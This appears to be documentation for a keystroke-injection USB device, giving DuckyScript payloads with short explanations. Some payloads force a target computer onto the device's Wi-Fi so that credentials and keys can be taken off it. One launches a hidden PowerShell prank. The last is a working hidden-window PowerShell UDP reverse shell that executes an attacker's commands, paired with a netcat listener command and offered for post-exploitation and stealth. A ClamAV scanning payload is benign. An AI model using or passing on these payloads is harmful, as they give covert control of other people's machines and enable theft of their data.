Real World Examples

Table of Contents

• Windows WiFi Config
• Linux WiFi Config
• YouTube Prank
• System Clean

Windows Wi-Fi Network Configuration Payload

This payload is designed to demonstrate the use of both function keys like TAB, GUI and also how the NJCTR3000 WiFi variables can be used to configure a target machine to join the NJCTR3000’s network - no matter what that network is.

This payload script is designed to automate the process of adding a new Wi-Fi network on a Windows system, specifically using the “Manage known networks” option in the Wi-Fi settings. The payload navigates through the Windows UI to input the SSID, select the correct encryption type, and enter the Wi-Fi password.

How It Works

1. The script opens the Start menu using the GUI (Windows key) command.
2. It searches for “wifi” to bring up the Wi-Fi settings.
3. The script navigates to the “Manage known networks” section.
4. It selects “Add a new network” and inputs the SSID.
5. It selects WPA2-PSK AES as the encryption type.
6. It enters the Wi-Fi password.
7. The script ensures the “Connect automatically” option is enabled and saves the settings.

Use Cases

• Hidden Networks : Easily add hidden Wi-Fi networks without manually navigating through settings.
• Scripted Deployment : Automate the network setup process during device deployment.
• Exfiltration : Having the target machine connect to the NJCTR3000’s WiFi will allow you to steal small files from the target. Useful for taking collections of credentials, tokens or encryption keyfiles.

Payload Code

REM Connect a Windows host to the KSNJCTR3000 WiFi network
DELAY 2000

DEFAULT_DELAY 500

REM Open wifi settings
GUI
DELAY 2000
STRING wifi
DELAY 1000
ENTER
DELAY 1000

REM Navigate down to "Manage known networks"
TAB
TAB
TAB
ENTER

REM Navigate down to "Add a new network"
TAB
ENTER
DELAY 100

REM Enter the ssid, encryption type and password for 
REM network the NJCTR3000 is connected to and set 
REM auto connect
STRING {WIFI_SSID}
TAB
DOWN
DOWN
TAB
STRING {WIFI_PW}
TAB
SPACE
TAB
TAB
SPACE

Payload Breakdown

Linux Wi-Fi Network Configuration Payload

In this guide, we’ll use DuckyScript to execute a series of Linux commands that allow your NJCTR3000 to connect to a Wi-Fi network using nmcli. This is particularly useful for Linux systems where you want to automate connecting to a hidden Wi-Fi network.

Commands Used

Example DuckyScript

REM Connect a Linux host to the NJCTR3000 WiFi network
DELAY 2000

STRING nmcli device wifi list --rescan yes
DELAY 500
ENTER
DELAY 5000

REM Press 'q' to quit the network list view
STRING q
DELAY 500

REM Connect to the hidden Wi-Fi network
STRING nmcli dev wifi connect {WIFI_SSID} password {WIFI_PW} hidden yes
DELAY 500
ENTER

Script Explanation:

• nmcli device wifi list --rescan yes : This command scans for available Wi-Fi networks. It’s useful when ensuring that the Wi-Fi network you’re trying to connect to is visible or to refresh the list.
• STRING q : Exits the network list view after it has displayed the results.
• nmcli dev wifi connect {WIFI_SSID} password {WIFI_PW} hidden yes : This command connects to the specified Wi-Fi network. The {WIFI_SSID} and {WIFI_PW} are placeholders for the network’s SSID and password, which are filled in when the script runs.
• The use of the operator hidden is to force the machine to look for the network. In testing Linux machines would not connect to the network if they weren’t seen during the last scheduled scan. By also performing a scan before attempting to connect we improve our chances of successful connection.

YouTube Fullscreen Payload

This payload script opens a YouTube video in the default web browser, waits for the video to load, and then enters fullscreen mode using the SendKeys command. It also demonstrates the use of GUI, STRING, and ENTER commands to automate the interaction with Windows’ Run dialog and PowerShell.

Alternate Videos

How It Works

1. The script starts by launching the Run dialog using the GUI command (Windows key).
2. It enters a PowerShell command to detect mouse movement using STRING and executes it using ENTER.
3. Once the mouse moves, it opens a YouTube video and waits for 3 seconds.
4. It sends the f key to enter fullscreen mode in the browser.

Use Cases

• Pranks : Remind your friends to lock thier compputer in an amusing way!
• Automated Video Playback : Use this script to automate video playback and enter fullscreen mode without manual interaction.
• User Training : The script waits for user movement to trigger the video, allowing you to start playback when the user returns to their machine. Perfect for users who do not lock their machine.

Payload Code

REM Launch a YouTube video fullscreen when mouse movement is detected
REM Props to @I_Am_Jakoby for writing this payload
DELAY 2000

GUI r
REM Launch "Run" dialog
DELAY 500

REM Launch PowerShell with hidden window and monitor mouse movement
STRING powershell -w h Add-Type -AssemblyName *m.W*s.F*s;$w=[Windows.Forms.Cursor];$p=$w::Position.X;while(1){if($w::Position.X-ne$p){break}else{Sleep 3}};saps https://youtu.be/11D797zRark;sleep 3;$o=New-Object -ComObject WScript.Shell;$o.SendKeys('f')
DELAY 100
ENTER

System Clean

Props to jbjb6000 for this payload. This payload is designed to quickly scan and repair a machine. It does this by downloading clamAV and running a complete scan, killing any malicious processes it finds. This version has been modified to use the NJCTR3000 button to trigger the scan.

How It Works

1. Notifies the user of what is about to happen via Notepad.
2. Elevates privileges via PowerShell to download, configure, and run ClamAV.
3. Downloads and extracts ClamAV from the official source, updates its definitions, and scans system memory for malware.
4. Kills any malicious processes found.
5. Cleans up by removing the temporary ClamAV installation.

Use Cases

• Emergency Malware Detection : Quickly scan system memory for malicious processes when malware is suspected but no antivirus is installed on the machine.
• Portable Antivirus Solution : Use the payload as a portable, plug-and-play antivirus tool to disinfect machines without needing pre-installed software.
• System Health Check : Automate periodic scans on machines with limited resources where installing a full antivirus suite isn’t feasible.
• IT Helpdesk/Support : Deploy the payload to troubleshoot and disinfect machines remotely or in-person without complex software setup.
• Cybersecurity Incident Response : As part of a larger response toolkit, the payload can be used to quickly assess potential malware on compromised systems.

Payload Code

REM "GoodUSB" payload by jbjb6000
REM Payload performs AV scan using ClamAV, which is downloaded from the official ClamAV source.
REM Scan can take a long time to complete
DELAY 2000

GUI r
DELAY 1000
STRING notepad.exe
ENTER
DELAY 1000
STRING Greetings!
ENTER
STRING You've just launched GoodUSB!
ENTER
ENTER
STRING This script will take the following actions:
ENTER
STRING 1) Download ClamAV
ENTER
STRING 2) Update ClamAV to the latest malware definitions.
ENTER
STRING 3) Scan your system memory for any malicious processes.
ENTER
STRING 4) If any are found, TERMINATE THEM!
ENTER
ENTER
STRING This process may take a very long time, about 30 minutes to an hour.
ENTER
STRING You can abort now by unplugging this device.
ENTER
STRING Otherwise, Press the button on the NJCTR3000 to continue...
WAIT_FOR_BUTTON
ENTER
STRING When the logo turns GREEN you can disconnect the NJCTR3000 
ENTER
ENTER
STRING Away we go!
DELAY 2000
ALT F4
DELAY 1000
ALT N
GUI r
DELAY 1000
STRING powershell.exe
ENTER
DELAY 1000
STRING Start-Process powershell -Verb runAs ; exit
ENTER
DELAY 4000
LEFT
ENTER
DELAY 4000
STRING mkdir $env:USERPROFILE\AppData\Local\Temp ; cd $env:USERPROFILE\AppData\Local\Temp ; Invoke-WebRequest -Uri https://www.clamav.net/downloads/production/clamav-1.3.0.win.x64.zip -OutFile clam.zip ; Expand-Archive -Force clam.zip ; del clam.zip ; cd clam\* ; mv .\conf_examples\freshclam.conf.sample freshclam.conf ; mv .\conf_examples\clamd.conf.sample clamd.conf ; Set-Content -Path "freshclam.conf" -Value (get-content -Path "freshclam.conf" | Select-String -Pattern 'Example' -NotMatch) ; Set-Content -Path "clamd.conf" -Value (get-content -Path "clamd.conf" | Select-String -Pattern 'Example' -NotMatch) ; Start-Process -Wait .\freshclam.exe ; Start-Process -NoNewWindow -Wait .\clamscan.exe "--memory --kill" ; cd $env:USERPROFILE\AppData\Local\Temp ; rmdir -R clam
ENTER

Windows UDP reverse shell

This payload is designed to execute a reverse shell using PowerShell on a target Windows machine. It initiates a UDP connection and awaits remote commands from an external host.

How It Works

1. The script starts by opening a hidden instance of PowerShell using the GUI (WIN+R) and running PowerShell in hidden and non-interactive mode.
2. A UDP connection is established to a specified IP address and port.
3. The payload listens for incoming commands, executes them, and sends the output back to the remote machine.
4. This process continues in a loop, awaiting further commands.

Use Cases

• Remote Command Execution: This payload can be used to remotely execute commands on a target machine and receive the output.
• Post-Exploitation: Useful for interacting with a compromised machine without alerting the user.
• Stealth Operations: Since the PowerShell instance runs hidden, the user won’t easily notice it.

Payload Code

REM Props to 0i41E for this payload
REM This payload establishes a reverse shell back to the attacker's IP address
REM Ensure you run the listener on the attacker machine: nc -ul -p PORT
REM When logo turns GREEN you can disconnect the NJCTR3000
DEFAULT_DELAY 100
DELAY 2000

GUI r
DELAY 500
STRING powershell -NoP -NonI -W hidden
ENTER
RED

DELAY 500
STRING $E=New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse("0.0.0.0"),PORT);$C=New-Object System.Net.So
STRING ckets.UDPClient(53);[byte[]]$B=0..65535|%{0};$SB=([text.encoding]::ASCII).GetBytes('ReverseDuckyIII:');$C.Send($SB,$S
STRING B.Length,$E);while($true){;$R=$C.Receive([ref]$E);$RD=([text.encoding]::ASCII).GetString($R);$s=(iex $RD 2>&1 | Out-S
STRING tring );$s2=$s+'Ducky@PS ' + (pwd).Path + '> ';$SB =([text.encoding]::ASCII).GetBytes($s2);$C.Send($SB,$SB.Len
STRING gth,$E)};$C.Close()
ENTER
GREEN
DELAY 3000